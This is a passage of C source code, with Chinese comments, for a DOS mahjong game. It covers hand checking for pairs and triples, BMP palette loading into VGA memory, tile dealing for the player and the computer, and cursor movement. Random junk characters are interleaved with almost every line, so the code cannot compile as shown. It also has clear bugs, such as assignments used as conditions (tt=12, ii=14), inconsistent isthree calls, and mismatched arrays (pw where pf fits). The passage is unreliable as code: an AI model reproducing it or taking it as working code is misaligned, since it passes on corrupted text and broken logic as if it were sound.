8 m5 k9 S5 Q% _' L0 N- w/ p3 L7 bfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/0 n, }2 y4 H. f" E
{if(kl==i)
. f& R' M6 B9 w3 k{
0 b/ r9 G* \+ E. {/ ]$ U+ Zkl=kl+2;
+ u( A) A/ t$ E# a  e# Gif(kl==8)9 z4 C/ W- |/ C
break;2 Q# C5 U& K5 x$ R, g1 H
}/ O8 y! }$ h3 ?
test[ill++]=pt[kl];3 y' m6 g3 d  g' Z
}9 V, [  z1 D/ ]& x6 H. l
isthree(test,tt-2); 7 e; f8 T; w" {4 N, b# u
}1 u- A; s. v& \: q. _
} ( x8 f( b: J$ f# S1 V4 k" }
else if(tt==9)# X) [; {9 v7 C  O5 T
isthree(pt,tt);
! N' |7 c, f7 \. x8 S" F# K( ~+ J$ eelse if(tt==11)  w) ?9 `& e% l3 n
for(i=0;i&lt;10;i++)
9 ~( i3 f; m  l. l{
* @% |; ^! ]) q! B4 N$ Xfor(j=0;j&lt;2;j++)
  P& F( H- o& Y) M9 S5 j2 P{test[j]=pt[i+j]; $ C/ e, r  I$ b% u/ r9 {% N
}
+ t, Q: ?. b( P6 o+ Kif(istwo(test))
/ q5 }8 o& R5 e2 v: `7 f{ ill=0;
& @; n" q$ c7 F5 Q% ?4 z% Z6 Lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) j6 N0 I3 u; v+ @0 g5 y- Q{if(kl==i)% k; _4 e+ P" T2 A8 u
{
/ H5 a' G% p6 {, |% fkl=kl+2;4 T/ N1 Y, b) l4 r6 ?% d7 K
if(kl==11)
: g/ A+ I" G$ ]9 J1 n: {break;
: Z2 T4 S) u1 g}( I* Y- \- H, {6 |
test[ill++]=pt[kl];% \# V5 F+ m0 o# r2 p( }  S5 H
}
& E/ y6 E5 B+ ^% B6 ?, Listhree(test,tt-2); ; N4 z/ u& M6 L8 d; G8 W' r
}; r0 [- t7 C* H5 C& [
}( ]. G! H0 i* g. _/ T
else if(tt=12): R$ x2 U& z: Q$ P* \' f
isthree(pt,tt);
5 T6 D9 @  {8 d. E9 A4 melse if(tt=14)% @$ T  p: x2 C7 U  \: s* d
for(i=0;i&lt;13;i++)6 S2 P" A& ]" y
{& ?* J9 y+ H7 ]; m  b4 A$ G, v% G
for(j=0;j&lt;2;j++)% ?) o/ Y$ i  s) i  y7 R( K
{test[j]=pt[i+j]; ) M: _  G: C: d& ?1 Y5 y+ s
}6 \6 G- \0 b' s, ~
if(istwo(test))  h4 |: F8 G2 T# y( H6 F; a0 h
{ ill=0;0 C9 k1 {! o1 C+ H& H
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
( h1 R& z3 R6 i: J% X{if(kl==i)% M8 y7 N7 h8 @4 ~5 T: D' R
{9 h' b& G( D- ^- ]5 A( {1 Q# D
kl=kl+2;
, z  M' L. A, X, F  Fif(kl==14)
# S7 l1 r  c% jbreak;8 i! V1 Z  l3 L" F5 r& @+ B: s& c
}
: ?. ]* \- h' j; H2 O) Ltest[ill++]=pt[kl];; B  E1 {6 `# W0 x, ?0 H
}
. n8 E* Q, O$ m) Cisthree(test,tt-2);
7 Q' o9 C# C4 C# x8 Z}  ~* r2 K5 r9 c& c6 {. s0 f
}$ b" P* S  Y# ^* T: a) G" S
if(ii==2)( @' X. x- F& |5 W/ L
istwo(pi);
6 X8 U+ _3 b2 j! Q  selse if(ii==3)
: v- g: s( W) z# H* R3 {3 histhree(pi,ii);  C9 M: `6 U% f5 B3 i- \4 Y/ v
else if(ii==5)" {: a' m3 O! o  Z8 c6 U
/*pi[5]原始牌数组,假设已经升序排列*/* R0 ?' w! z& O: b$ e  u6 p" l. c
/*test[3]用来放置测试牌的数组*/
$ \/ R6 [9 ?. v3 @7 gfor(i=0;i&lt;4;i++)- K7 m: V; y; Z  v. f# ~/ P0 k
{( a( \! G' l) j% f) }
for(j=0;j&lt;2;j++)
7 L6 `# P1 N' }- Y* C{test[j]=pi[i+j]; 8 P; T6 o+ D7 o5 J5 t5 \7 n
}1 ]! f. \; B# l
if(istwo(test))- _3 o$ v6 I. w/ M4 I6 P4 [1 o
{ ill=0;
6 F0 \8 z( J0 B/ N% N# Xfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/6 {, A7 [5 O, F
{if(kl==i)
% N  a5 [" J, b* _{8 f2 N$ l* O3 F! Z/ X0 H  C
kl=kl+2;
* `' Y# o. X- W1 J, dif(kl==5)
9 _; O: Z  h- i* X( t' gbreak;
$ I, s; p/ B, z7 H6 c}; s7 q7 w" ], [0 B: [0 W: I
test[ill++]=pw[kl];
% }% o# s8 C# r9 _' X3 P}+ R1 T& N7 N) }) @1 F0 I! N
isthree(test);& J8 ]/ V0 a) v
}
; s- ]4 Z# K* N" s9 [0 ]1 ~}
' W6 l) z) w1 s4 zelse if(ii==6)+ W+ [8 n5 R/ x4 O  R( s
isthree(pi,ii); # m- e5 m2 j$ @9 w) i6 p  C; X
else if(ii==8)1 g/ b' C1 `% N% `; Q
for(i=0;i&lt;7;i++)
/ l: `) s" M, K# s{7 x( j$ \/ p* g- R/ B- |+ C% l
for(j=0;j&lt;2;j++)% D) p! v' f7 T. _  [+ O. c7 P" ?
{test[j]=pi[i+j];
6 z! y2 M6 Z7 m% O9 l}* f& z6 w7 N* R9 C: |
if(istwo(test))8 q$ }0 }- A) U4 D
{ ill=0;# c- P, j7 ]3 _. V" m) U
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
! t8 I- Q% c2 C{if(kl==i)
* x( s* _+ A; {1 B{
" S, `1 F: c/ S4 x$ n! b( T5 Jkl=kl+2;: g1 W+ |# L5 p6 F6 o8 E0 t1 f
if(kl==8)
0 W+ q- q' B9 j$ nbreak;
6 j6 ~& ]8 P( K, o1 I' I}
  X  H& ~8 \1 I/ ^/ `! Z: Vtest[ill++]=pi[kl];7 ?& R/ o7 l/ D& S0 m
}
+ H: v) f( [3 A, Z4 G, Y3 G, z# A7 Bisthree(test,ii-2);
: ]0 I# }. y8 K6 H0 x}; N  ~# K# D8 W) d# z% W, J/ L
} - |3 \% |" C9 ~* q! {( o
else if(ii==9)- w/ o) z3 N" b4 d8 y9 [2 K
isthree(pi,ii);
( w1 I& a& |8 [4 xelse if(ii==11)
/ A, M9 K6 }- |1 @1 X+ ^* sfor(i=0;i&lt;10;i++)% h. [: K, G3 \: F* x
{3 f7 h' s) e1 \8 s* Y
for(j=0;j&lt;2;j++)# D; B& K. U; k& q
{test[j]=pi[i+j]; / q- C; a$ L/ x* n" Z
}
3 H5 T: I6 C' g0 ]if(istwo(test))
- s4 X  }% p. T{ ill=0;
: Y: D9 z0 q. ~; P, Q( i" cfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ @& u: {5 T- T0 o5 A( |0 w9 B1 f{if(kl==i)
0 r) Y) {0 j; m* w! c0 P{
2 {. Y! Q# p7 I( b, Zkl=kl+2;
8 ~8 h9 T+ c% a) u5 U: }5 B4 h& Yif(kl==11)
3 W; d$ Y$ y- w( A  Ybreak;
" k0 j6 r! s9 j) W4 [7 h, j" c/ ^}% V4 _) C/ F& ^
test[ill++]=pi[kl];' U1 V- y4 G3 R# J
}
% r# B: w& I! T9 S0 S  Oisthree(test,ii-2);
' n7 q6 [8 @7 y: L. W}3 a. F* {4 }! F# {6 g$ X. M
} 3 J7 @$ e+ x  Y8 t5 d
else if(ii=12)
8 s3 {, i: B& M% disthree(pi,ii);
: a" H' {  {  ~# Jelse if(ii=14)
7 ?. f, C& m" Vfor(i=0;i&lt;13;i++)8 T3 w- W4 \1 M$ z. v* X
{
9 }% a+ Q1 f: k" n. mfor(j=0;j&lt;2;j++)
3 B) A! o! A4 v5 N3 i- I{test[j]=pi[i+j];
1 T& k; ]: d1 C}
: L8 e9 b$ J) G8 U. \if(istwo(test))% L$ r3 }" U8 x; W1 G6 {
{ ill=0;9 @0 S) T4 f+ q9 ^7 [" x
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" m& g% B2 K* T; c* p& O{if(kl==i)$ h2 \- g% d- E" T, ~
{2 p9 M* G2 m. G) ^+ j
kl=kl+2;
9 k" J, Z( e% g$ X5 A: U8 R) rif(kl==14)
* U+ e" F% S, a6 X6 F, L# lbreak;2 v- w, P1 o; t, I4 s
}
4 |$ o  V5 _2 ^- C! vtest[ill++]=pi[kl];. }) x& `* B* M0 q" s9 D
}
, j3 I3 u8 E9 h8 `3 aisthree(test,ii-2);
, r5 z: A8 Z0 P}
2 u. L( g' R- C. M' E) v* c! z}
9 D6 w+ Q  ]6 u/ }if(ff==2)
% A0 h* V! G' y* [3 distwo(pf);+ u# `! r" F) M7 A  i9 ]- D5 B
else if(ff==3)
5 |& n- _/ `& Aisthree(pf,ff);$ e6 d: w$ O% p  a  _5 k
else if(ff==5)3 X2 E1 p6 v3 A
/*pf[5]原始牌数组,假设已经升序排列*/, F) a  M) S' w# c! @
/*test[3]用来放置测试牌的数组*/! T* t3 w$ B1 T+ R- Q
for(i=0;i&lt;4;i++)4 J1 m, w; N3 z6 d& M
{/ ]! V3 ]% E6 S# @# h
for(j=0;j&lt;2;j++)0 b1 \& |- D, v1 }1 C0 y
{test[j]=pf[i+j];
1 Y) M4 V+ H" L4 M, d}
4 s6 \& @0 I/ b$ T3 e8 }( K& f- Zif(istwo(test))# e, @4 O* g: ]$ c2 M# P
{ ill=0;  Y* D8 O/ p7 ^8 }9 F
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/+ ?0 Z3 O& G9 g
{if(kl==i)4 @9 y' {; y+ a8 u
{% p" t$ x3 j: ?; ~1 N
kl=kl+2;
3 Z% u, v& R# lif(kl==5)
  Z& z7 ^$ b$ Q4 f/ D; Qbreak;
, e1 H- F8 [/ U: n) O}  _! O2 {- D4 {9 C$ F7 U9 M0 o
test[ill++]=pf[kl];
$ w9 g. S. m) N4 Y: g}0 z, C6 k1 `- L& I1 k4 q
isthree(test);" a4 ]2 o5 o- j4 _/ e% r) ]$ M
}
6 }/ Z) O8 a% s) N7 H# ~}
+ m1 e' t% @3 i: U9 n8 R/ yelse if(ff==6)
: y% @4 \4 K+ Z% k8 p$ L% Xisthree(pf,ff);
) B$ U5 U: H& Helse if(ff==8)3 p, s6 Z9 [9 O2 L$ g' Y2 O" }8 y
for(i=0;i&lt;7;i++)$ D3 i2 z9 v& D$ {( v- \# D. @. }
{) Z; f/ a) c: u# \% y4 h
for(j=0;j&lt;2;j++)- \  k7 y4 m/ e3 K% A8 E" U
{test[j]=pf[i+j]; 9 k. m# H2 ~1 l
}5 J7 ~# E: g5 _; q3 H5 L
if(istwo(test))
) b, U+ h& _! {3 t) Q, v{ ill=0;
  L8 K) r1 d4 y8 `5 G* Mfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/* u4 W/ J5 E$ \5 J1 u
{if(kl==i)
* d1 }7 b5 `# s* e{
- e: d' x- r6 rkl=kl+2;
* Q& q7 t3 I$ m4 H; qif(kl==8)* h& X2 u3 {, F! p- ?$ D
break;8 H1 s# t: O( I2 ~
}1 ^1 L& n+ E+ O. p$ F
test[ill++]=pf[kl];
5 o* A& E9 X6 d# s}
/ c( O. m6 q' C3 Q7 Z2 a% q6 Misthree(test,ff-2); 6 v- s6 x, g3 a& y+ w' L' ]
}+ F9 ?7 k* T5 z* }+ r9 e0 b% t
}
+ B3 G( l* }! D( ?; r* melse if(ff==9)0 m4 f" V% n6 G) K# t/ H
isthree(pw,ww);* g- S# j- x& B3 |$ Q5 j  c
else if(ff==11)+ x) i9 g9 e, L# h
for(i=0;i&lt;10;i++)
# q# m( A1 X, K, w9 M% I{$ ^3 |2 p; J0 t$ M
for(j=0;j&lt;2;j++)
) j: I( E( X5 _+ ]  l3 K{test[j]=pf[i+j];
/ A2 [# m* q1 i}
* }8 r& f' y' z% C# W2 uif(istwo(test))- X0 x$ Z1 o( Z* ?; j! D; A
{ ill=0;" i1 I* B- [+ j: ]: \
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
6 b/ g" F! T5 z, x' F# G{if(kl==i)
7 C0 X6 N0 T( m9 O1 K- n{/ M8 e4 a  J9 F& V4 c6 h; d/ Q
kl=kl+2;
/ P* E3 @! N( m( d8 r4 wif(kl==11)
3 v8 ^! |" X) [& o1 @* ebreak;
( }2 [- {; i" G0 Q* q}. [- E6 V. l; I0 N4 o+ [
test[ill++]=pf[kl];5 b4 M) Y8 j8 V7 U! H- e- b
}# Y1 d5 o  d, n. u
isthree(test,ff-2); , r" ?/ M" k* h; y/ m/ t
}
8 M% F- o, o5 s" ~3 y/ X: L}
' ?  ]! q4 L% d; B5 Velse if(ff=12)$ L9 q7 L! I" \
isthree(pf,ff);; m" E% w& u& B0 t$ x
else if(ff=14)
2 |) F4 N& r5 Gfor(i=0;i&lt;13;i++)
0 F  s1 \9 Z* t9 R; Y; C* U) o, V{
9 T# K, q5 c5 J! Ifor(j=0;j&lt;2;j++)
* U) b6 }2 m5 y6 a{test[j]=pf[i+j];
) R4 V: {( X1 g. l* ^8 L8 W5 b( y}
# V, Q. z8 [3 Sif(istwo(test))
3 v; q" I# j0 m  v  c! t; k{ ill=0;
5 Y$ L& {2 _1 `% _for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; i$ y0 o2 c: f5 q, \& n. x{if(kl==i)- J; U5 }# r+ Q: z" G
{$ _4 C# ~5 }. F9 j5 _1 G$ ^  t) @
kl=kl+2;& H. `" {9 ^9 z7 s
if(kl==14)
  w9 y0 w. Z8 U; pbreak;
4 y% n5 D/ f- ^/ i# z}, k0 [2 Z% ]1 R
test[ill++]=pf[kl];1 ~( J0 F/ l8 e- _8 X8 ?
}
- ?/ z  j  z8 s3 q: a5 e7 i4 Iisthree(test,ff-2);( K8 v8 K! m$ H
}  q# \/ v" J8 u9 ]& c5 H
}
/ U% _0 f* _7 J: J; k}
* t9 y$ K8 C, X2 y% v9 ?void main(void)
7 X: z* X2 u1 N, X& y4 D& o{
( g. E5 }7 Z" P5 b' V! a+ zFILE *bmp;7 w/ S( W1 A, u
static char *name[2]={"ff.bmp","logo.bmp"};  W1 |8 K& J" U) D0 d( `. C1 V# ^
char *p;
" T/ m) d3 p4 r+ u8 `" wint *lingshi;7 B, W+ Q4 Z5 C2 q1 z& E% A) U
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
3 N6 S: e! [# L; s* M, M1 @int every=0,w=0,x1,x2,y1,y2,every1=0;
0 o& y4 t1 ?1 }9 Pint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;9 ?2 O  `9 o% {+ k: Z( b. z, ?" ^" n  H
BYTE palette[256][3];
2 n# O; [) ^/ \SETVGA;! ]# |5 T% i; x% p9 j. M; ]6 h
getch();
! R0 w0 I' Y1 i$ Swhile(t--)+ R. Z9 Y" w  y, q: Y0 E+ G& z
{
4 p0 [0 s! w( N: A/ Lbmp=fopen(name[t],"rb");, v9 f3 v. [) ^
fseek(bmp,54,SEEK_SET);
& c. a. t. K( S( m$ M( Kfor(i=0;i&lt;256;i++)3 Y  d. J% @5 U, u3 A3 z# Z
{
( N$ |; m$ p7 i' w" r% Vpalette[2]=fgetc(bmp)&gt;&gt;2;
. N1 A  H) L- }+ P; G; Kpalette[1]=fgetc(bmp)&gt;&gt;2;( w& l) y% M3 B! z2 t: f! o
palette[0]=fgetc(bmp)&gt;&gt;2;5 Z0 \* P# f; X* {4 U* R; L
fgetc(bmp);$ a0 \! E' X; i8 J1 j7 `
Set_Palette(i,palette[0],palette[1],palette[2]);3 a' _& i% Q2 F4 p# B" ?6 C
}5 q* e* x; d' H
for (y=0;y&lt;200;y++)
; B  i9 c& n) Zfor(x=0;x&lt;320;x++)
3 F% b  Q! c, v: B' ~" u" hpokeb(0xa000,y*320+x,fgetc(bmp));( Q: j+ L/ f' }
fclose(bmp);
& e- M, Y0 h# s9 {getch();, p1 Y' a8 B% D0 X7 A/ B  I4 u' e* K
}; W/ Q5 d- A/ r+ [+ N
getch();
' ?# P' Z0 N6 a+ kfillRectangle(0,0,320,200,0);# n) X# Y: G3 ^& a
getch();' w! z2 n/ y5 a  ]9 N) g: @
randomize();# e" h" S$ Z" j+ o) Y9 L+ D
me.m=onetothirteen;/ A4 E/ m( a  p8 o3 F, c7 `! H& a
while(me.m&gt;0) /*先循环,给自己拿牌*/5 X* w* J8 _! d  r' x' M0 M
{2 y2 W5 x- `5 z, G0 g

9 ^( p; ]. V% h$ W) r8 otemp=random(136);% g# t) a: _7 @6 w
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
2 |1 S& A+ z* N{
7 O8 l0 k/ v. Kme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
5 Q3 G6 S# P/ k! ~1 x! ], bme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
5 M6 F1 Y8 @2 bme.pp[n].number=temp; /*第几张,用来排序*/
. K1 Q  ^  z8 X1 nm[temp].data2=1; /*判断牌是谁的*/4 g) |  {) h* w! Q7 F2 z
kk=1;6 D' M- Y; D$ X9 y' w# z" e
}. Z, x2 |" T9 [! ^- y1 U$ D) U
if(kk==0) /*判断如果又选择了,就从新再选*/
# V3 C0 m/ x+ _2 K9 `# h{ : c: y/ d# u* x7 R6 }0 m) ?, ^
me.m++;, h, T! l  K4 {  [
n--;
) q" t. B, G0 _4 M}0 C3 g* |# o, e& ^! K
me.m--;5 W7 f7 |& J& v% P+ A- r
n++;
4 Y$ M- i' B! T8 N' Xkk=0;
3 ^% G1 Z3 V) _. V}3 q# V2 Q7 ?3 m- Y$ L
me.m=12;) S- s3 o, m- t" Y
melipai(); /*理牌*/9 h. L( S2 Q4 u4 T2 G, E: I
/ f. A: D, h/ T; a0 l/ z3 F! U* N
n=13;
% |+ Q9 c0 K& a4 p# O3 b- V  }while(l&lt;n)9 l. P6 L7 m2 s) T
{
/ j0 n" a$ J2 L( yz=z+20;4 |9 L4 Z$ [( }: F8 S
showbmp(l);
* j  F; i% S5 m; a1 S  Ql++;
! k& W) }* ]  m' T" E8 |, h+ y$ h8 @, ?7 y5 _1 K& |; i
}
9 u9 c1 J- b# @  frandomize();
( r6 w8 i: f4 s; tcomputer.m=oneorthirteen;# D/ L  \+ m5 Y; R1 C/ m3 {9 B' |
n=0;/ S2 S& V2 ?: o6 G. c1 O; y9 U' H
while(computer.m&gt;0) /*循环,给对方拿牌*/
/ Z! S7 s: h7 |& k( J{# M) H2 A. w$ S: c, ?
temp=random(136);; P3 w/ |7 p$ U; Z- H
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
& B! H$ M7 f, d5 ]; `{
% p/ q# [$ A4 @5 \( Vcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/) `% M- D; h, Z" R( L. V
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/+ n4 l$ J4 p4 f: t
computer.pp[n].number=temp; /*第几张,用来排序*/
: F8 x" E/ E- t# Vm[temp].data2=2; /*判断牌是谁的,2为电脑*/
8 K+ M0 i! ]; ~" s1 v& nkk=1;) \  W: \1 q# m
}/ W# F9 V" g' c0 I
if(kk==0) /*判断如果又选择了,就从新再选*/2 D0 I) U. I5 J7 J- _
{
$ u* [5 e9 s% M1 q' F" Vcomputer.m++;
  ~- P+ e# C7 Jn--;
2 N; Z7 f; ?3 c7 E& B}  P  O6 h+ t0 s6 N6 b8 F+ Y& u7 s
computer.m--;
# m9 A, V- p  S0 C% t  dn++;0 t# e6 F) z. e+ F% T! p8 W, A4 e: g
kk=0;
: D1 i1 Q' I3 u- E6 ~}* v4 F1 X) i/ e2 k" c! o
computer.m=12;6 w+ l/ D: ~7 f. n& |% S
comlipai(); /*电脑理牌*/' c: m* T2 K+ }% ?/ F; W* A
n=13;
8 V5 n: ]6 @9 g( [/ b* awhile(ll&lt;n)6 G9 z6 g* D, x+ z+ D
{. o" ]/ m+ V# W, X9 _; D
zy=zy+20;0 a; o! c2 p5 }" x( S+ e8 d
showybmp(ll);5 d" {& N# X4 Y" A* w
ll++;& x/ ~6 G) V- W3 a6 s) L5 m! t
}; e4 k: A5 `& F' r. [' \5 T

" v2 k* O/ J: J; |: tz=54400;: t6 Q& `% I) G1 x2 ]& a" K
while(key!=ESC)
. Q+ Y, d8 a8 Z) L, `& U{
7 c  ~4 E' P0 I9 N
7 ^7 r# W% d& b# U2 {5 i9 Ykeyy=bioskey(0);
8 [2 h1 c- ]$ A  \/ T( }( kif(keyy==LEFT)
. _4 l0 A3 F& T2 k8 h{ w=1;
/ T5 M+ k! g+ n: @6 \2 bif(every==0)/ y8 i9 j5 F3 j) q
{
1 ?  N' c2 B! e) F4 r  `every=1;
; r7 |4 c+ r" K0 d- Z! Bz=54440-5*320;
2 ?  r2 n* w9 g  S
6 M: [( I' c7 {7 X. S}. D, B# v% O$ `
zz=zz+5*320;* y; y5 O+ F# d* n0 K. W. q
showbmp(every);
& ]% b" w: z6 |1 E1 k9 {0 L+ Sif(every==0)# x" y: Y: V* q( e1 p; x4 u
{* ?. ^9 E+ R* G1 p
x1=20;' l, }6 [# t2 N! X
y1=165;
6 C2 ^3 |1 T! A; z1 q0 ^3 q  H# efillRectangle(x1,y1,x1+20,y1+4,0);
1 k" B, g8 o6 [5 S9 W+ ~: Y}) u8 X- F7 J! l
if(every==1)  c5 P5 n: V- K: p6 |. v; I( Z7 x# l
{
. `/ `0 U# v& [. k, q- `2 s) tx1=40;( }9 z+ @1 ?; E- E0 Y6 r1 n
y1=165;  C6 L% x$ G7 ^: U
fillRectangle(x1,y1,x1+20,y1+4,0);
! n7 x/ ]( |+ G, x3 Q$ U& k* [}
" c. _  Y- o6 T, R8 l. ~; ]if(every==2)! ], L) ~& ]& F
{! N7 N# q. Y2 s  H' y7 H
x1=60;6 u& p6 M; q) k8 L% D/ l- s
y1=165;. J, w. q9 z" ?1 e  n! _
fillRectangle(x1,y1,x1+20,y1+4,0);
6 U  X0 z" \( ]6 x- @9 p}
1 X& W; w% N1 R4 U/ W: jif(every==3)
* k- Z+ |- z4 G8 J{
9 R% H2 r$ S6 n) I) Dx1=80;& L) G$ M" X; L: o% X9 Q
y1=165;
5 Z! t- T; d: O, L7 v! ^$ g; QfillRectangle(x1,y1,x1+20,y1+4,0);
! u- N. I; u& i: @  M- K}
, I% Q2 t, N( G: R7 iif(every==4)
  M/ j2 J5 g6 `* c{2 M5 K6 ?+ ?6 z& s
x1=100;
$ e0 N3 m' n/ {% P, My1=165;
6 m' u1 B' `! ^4 F8 Y% B+ T2 BfillRectangle(x1,y1,x1+20,y1+4,0);
& a+ o7 H0 b6 [' _  e( S}
5 T7 n, ?+ D# {0 S2 ~8 F, J% n8 Gif(every==5)
1 d+ w) T2 T; J* b; ]* U6 }, I{( i5 `- L3 E, l1 `( b9 U
x1=120;4 f& n+ J8 K% `' I1 x8 G. ^
y1=165;
% _% g+ Z$ H4 Q2 yfillRectangle(x1,y1,x1+20,y1+4,0);
6 w% p! b( u; s( ^, c  ~+ G: u}! C! r1 U2 X9 J- q+ m& B6 e: d8 [
if(every==6)% J' r5 N( X6 |% O) Z) ?0 w
{, G5 t4 [( E0 H2 \
x1=140;* ?: @' u+ z' q) p4 o
y1=165;
7 ~0 P1 a/ {6 j! W0 l2 t5 GfillRectangle(x1,y1,x1+20,y1+4,0);( B/ r! q' Y$ W1 m" g( O) T& B' k6 `  T& e
}
  O8 t. R, Y0 M1 {; |7 H! Aif(every==7)2 t: q0 R( t. h' ^
{+ N( @# y. Y9 H" c
x1=160;& Q0 @4 ?) C6 b7 C5 h
y1=165;  b: O) c4 N* Q$ D# H8 Y8 M+ z
fillRectangle(x1,y1,x1+20,y1+4,0);' s0 {5 t; B# g! M. z6 c8 P9 f
}
$ F5 n2 W+ ?" d1 ]9 `' l& r- F1 @if(every==8)
+ p% |! M' D, _- ^3 z{
  L' x* u5 q9 m8 I5 e, e$ fx1=180;
1 P! a% ~" x# W2 ^. X2 C6 ey1=165;
, U9 ^9 g3 z$ H4 KfillRectangle(x1,y1,x1+20,y1+4,0);2 B# B/ J, d% z4 G: g
}1 `8 h2 Z6 n7 K) `: z  N& V5 p
if(every==9)1 e, V$ W% h  J5 {6 D9 s6 U. ?
{/ z* r  @' i/ |; G# `
x1=200;! _0 h; Z0 H" J
y1=165;
) A! K+ N/ `5 {- lfillRectangle(x1,y1,x1+20,y1+4,0);
9 y2 q. s* y) A  |}
! I0 @$ f, A: J  w0 e( t& `if(every==10)" P+ ?8 B( m6 J. r
{
! }7 y& h4 f& i% ]2 Gx1=220;9 K( A& R; R) v: J
y1=165;9 ?3 g" X# q& Z! W5 x8 Z
fillRectangle(x1,y1,x1+20,y1+4,0);$ i' q6 \* t% b$ M0 p) k+ ~  E# d
}
3 Z9 }5 r% |& _0 G+ rif(every==11)
+ b3 v. E/ O/ b3 F; B{
) p+ g' }9 {6 Gx1=240;
  B+ Q. i" \& H- S) [4 h) ty1=165;
$ d# g% g. i4 TfillRectangle(x1,y1,x1+20,y1+4,0);
" g' D5 _4 m9 A}  F( w1 J) y/ L% A
if(every==12)4 X$ Y8 ?: x" [; @$ }( M: C5 U
{
9 [) v+ L' p" z9 B9 t: w- Qx1=260;
- s' m# n) e, g# dy1=165;
6 ?# N  R( O6 d8 T" @fillRectangle(x1,y1,x1+20,y1+4,0);
4 s# ^, d- D' P# }! `}% L. ?/ i/ T6 O+ r# O2 ~
zz=0;
$ G% U3 S- n. D9 ]$ a4 b- r# levery--;
$ Q7 \/ u0 c, ?5 fz=z-20;$ }6 n4 M- h) C
}
  z4 F3 j* d+ O' O; A( d0 E! jif(keyy==RIGHT)* p5 D/ w, F1 ^6 \/ C; `5 b
{ if(w==0)9 l5 O4 ]1 ^" r7 c& Z7 m2 i
{
6 s, e4 M: `5 C, ~1 `: Z: Yz=54440-5*320;% y6 x/ Y2 @3 I- K6 p) _
z=z-20;! ?9 h  L, |( M
w=1;
6 [6 x9 p0 f0 A5 L( E}
6 D& Y& `7 ]- Xif(every==12) . D4 ~! y+ c) c8 T' b, P5 b# i
{% x7 M( J/ V. @1 X2 P
every=11;
' R# R8 b6 Z' ~9 j" h- \* z+ Wz=54640-5*320;* a( j+ e, ~  G$ }+ T
}" i& k! J* X1 ?3 N
zz=zz+5*320;( A9 `# ~1 u8 E3 V* W9 T" U' G# G
showbmp(every);1 A- f+ q3 m2 R6 F4 J! X
if(every==0)3 Q0 {1 V6 B& S4 M! ?
{
$ B! h) S! c2 |# B" @3 w3 nx1=20;
3 O0 J, r6 v2 N% x( j% l. ]1 t( Yy1=165;
' D( d" x1 h/ a2 DfillRectangle(x1,y1,x1+20,y1+4,0);
+ I! d( g. b3 W}
+ s/ t" m: S3 `3 j, x2 F' ?if(every==1)3 P( q# |& `9 d. d, ~# N6 ]$ c5 Y
{
& B+ {: [  o3 ^! ?4 H9 p6 Ax1=40;9 Y2 u; l% L! q+ g1 G9 F
y1=165;1 `2 A, z/ d% w: h8 D
fillRectangle(x1,y1,x1+20,y1+4,0);  B. Z$ Y5 H  k
}
+ ~( i+ F5 V0 p' }+ x! wif(every==2)1 |/ Q1 |4 l5 ]1 z" Q( Q1 f7 V6 T
{
  F0 u8 f+ f! v. K" c% w+ nx1=60;$ N0 c9 m* j( K  {2 E
y1=165;2 `9 {! K& K1 a  z) p) y
fillRectangle(x1,y1,x1+20,y1+4,0);
6 R  [& z; ?0 ?) {# M! C}
2 b- `' s' p! v" ?# Jif(every==3)
# X: B) W* c# W' y$ _5 r{, |; Q! u" c/ G/ r: K; U: u4 i5 o
x1=80;
! a% w% n9 q7 }% \. P" By1=165;# F5 f7 M# |1 y& r# x( g
fillRectangle(x1,y1,x1+20,y1+4,0);# `2 I3 z0 {: L
}) @+ S. l9 Z* Y% C4 Z
if(every==4)
8 N" g  M+ {5 S6 r' u9 o# N{
1 g% d1 x/ B% r- o9 F# `x1=100;; u, I% s6 o( q' e4 q2 ~3 A
y1=165;
( y* k9 T5 w. [- LfillRectangle(x1,y1,x1+20,y1+4,0);
$ t6 r3 b# O6 g% i/ V}
; d+ ~6 ~( k' P" E* sif(every==5)8 p0 {6 @% P8 G; G7 R4 }; {3 S
{
: n- f) p( T4 n1 n4 c3 q# ~x1=120;3 {2 r+ e2 A2 b6 R8 n
y1=165;
2 k7 O6 ]9 A9 {" K0 K2 O! D6 e) lfillRectangle(x1,y1,x1+20,y1+4,0);* k4 `9 I. k6 P7 g2 o) r# D
}: \8 c' \! v  ]( v( i( n$ ?# ?: w
if(every==6)
6 t& }+ o; L9 p  z: y; k$ i{
- q+ ?2 j$ o$ G. nx1=140;
: Z: N/ o6 J0 ?% F. Xy1=165;
! m" x3 S$ l5 F( ^/ ?6 cfillRectangle(x1,y1,x1+20,y1+4,0);  ?6 ?, _! q" m6 ~, Y
}+ ~4 @8 c4 \% Y
if(every==7); `0 h- r. B+ B& J' G' Y
{
+ m7 t+ G( P" kx1=160;( C, l2 v8 |0 R9 G5 J
y1=165;0 M) t$ t0 H4 O0 T/ v% W
fillRectangle(x1,y1,x1+20,y1+4,0);$ i* B, _' A7 G
}
' x* C5 q) k2 M$ c3 v$ ^if(every==8): R) K  p5 w( Z6 l
{
. u+ y1 m4 l' m+ yx1=180;6 ~6 G$ @: I6 r( y9 s2 L
y1=165;$ h; C) @9 a+ u3 v* S5 o( V
fillRectangle(x1,y1,x1+20,y1+4,0);- d: U9 S  E: V5 X) w) r
